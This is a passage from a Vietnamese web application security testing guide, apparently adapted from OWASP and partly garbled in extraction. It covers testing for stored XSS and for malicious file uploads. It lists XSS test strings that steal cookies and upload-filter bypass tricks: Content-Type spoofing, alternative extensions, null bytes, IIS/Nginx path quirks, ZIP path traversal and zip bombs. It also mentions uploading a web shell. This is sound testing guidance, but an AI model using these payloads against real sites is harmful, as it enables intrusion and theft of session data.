size="40" Thử nghiệm lưu trữ XSS Điều liên quan đến kiểm tra xác nhận đầu vào kiểm soát lọc ứng dụng Các ví dụ chèn trường hợp này: aaa@aa.com">alert(document.cookie) aaa@aa.com%22%3E%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E Đảm bảo liệu gửi đến ứng dụng Kết mong đợi: Mã HTML lệnh chèn: alert(document.cookie) size="40" Dữ liệu Input lưu trữ mã khai thác XSS thực thi trình duyệt tải lại trang Nếu input escape ứng dụng, người kiểm tra nên kiểm tra lọc XSS ứng dụng Chẳng hạn, chuỗi "SCRIPT" thay dấu cách ký tự NULL dấu hiệu tiềm ẩn công XSS Nhiều kỹ thuật tồn để tránh né lọc đầu vào Chúng khuyên thử nghiệm nên tham khảo trang XSS Filter Evasion, RSnake Mario XSS Cheat, cung cấp danh sách mở rộng công bỏ qua XSS lọc Tài liệu tham khảo thêm: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Ch eat_Sheet.html Upload of Malicious Files 6.1 Tóm tắt Nhiều quy trình kinh doanh ứng dụng cho phép tải lên liệu / thông tin Để giảm rủi ro ATTT, nên chấp nhận số phần mở rộng tệp định Ứng dụng cho phép tải lên tệp độc hại bao gồm mã khai thác shellcode từ gây vấn đề nghiêm trọng ATTT Ví dụ: Giả sử ứng dụng chia sẻ hình ảnh cho phép người dùng tải tệp đồ họa gif jpg họ lên trang web Điều xảy kẻ cơng tải lên tệp PHP, tệp exe vi-rút? Kẻ cơng sau tải lên tệp thực thi tệp hệ thống, vi-rút tự lây lan khác hệ thống khác … 6.2 Làm để kiểm tra Phương pháp kiểm tra chung - Xem lại tài liệu dự án sử dụng thử nghiệm thăm dò vào ứng dụng / hệ thống để xác định gây ảnh hưởng độc hại đến hệ thống - Cố gắng tải tập tin độc hại lên ứng dụng / hệ thống xác minh bị từ chối xác - Nếu nhiều tệp tải lên lúc, phải có thử nghiệm để xác minh tệp đánh giá Ví dụ: tải lên 'WebShell-backdoor.php' đến trang web nạn nhân đích - Thiết lập proxy chặn để bắt yêu cầu hợp lệ người dùng cho tệp chấp nhận - Gửi yêu cầu không hợp lệ người dùng thông qua việc thay đổi phần mở rộng tệp xem yêu cầu có chấp nhận từ chối khơng Đánh giá mã nguồn Khi có tính tải lên tệp hỗ trợ, API / phương thức sau thường tìm thấy mã nguồn - Java: new file, import, upload, getFileName, Download, getOutputString, fileOutputStream, java.io.file, export - C/C++: open, fopen - PHP: move_uploaded_file(),Readfile, file_put_contents(),file(),parse_ini_file(), copy(),fopen(),include(), require() Các kỹ thuật sau sử dụng để bỏ qua quy tắc lọc kiểm tra tải lên tệp trang web - Thay đổi giá trị ‘Content-Type ' thành 'image/jpeg' yêu cầu HTTP - Thay đổi phần mở rộng dạng phần mở rộng thực thi file.php5, file.shtml, file.asa, file.cert, file.jsp, file.jspx, file.aspx, file.asp, file.phtml - Thay đổi chữ in hoa phần mở rộng chẳng hạn file.PhP file.AspX - Sử dụng dấu vết đặc biệt dấu cách, dấu chấm ký tự null file.asp file.php; jpg, file.asp% 00.jpg, 1.jpg% 00.php - Trong lỗ hổng IIS6, tên tệp file.asp; file.jpg, tệp thực thi dạng file.asp - Trong NginX, tên tệp gốc test.jpg, người kiểm tra / tin tặc thay đổi thành 'test.jpg / x.php' Sau tải lên, tệp thực thi dạng x.php Đối với tập tin ZIP - Một tệp Zip chứa PHP độc hại với đường dẫn mục đích ' \ \ \ \ hacker.php' Nếu trang web khơng kiểm tra đường dẫn đích giải nén, hacker.php giải nén đến đường dẫn định - Zip Bomp - Tải lên tệp bom ZIP khiến ứng dụng từ chối dịch vụ https://github.com/AbhiAgarwal/notes/wiki/Zip-bomb TÀI LIỆU THAM KHẢO https://owasp.org/Top10/ https://cheatsheetseries.owasp.org/IndexTopTen.html https://owasp.org/www-project-web-security-testing-guide/v42/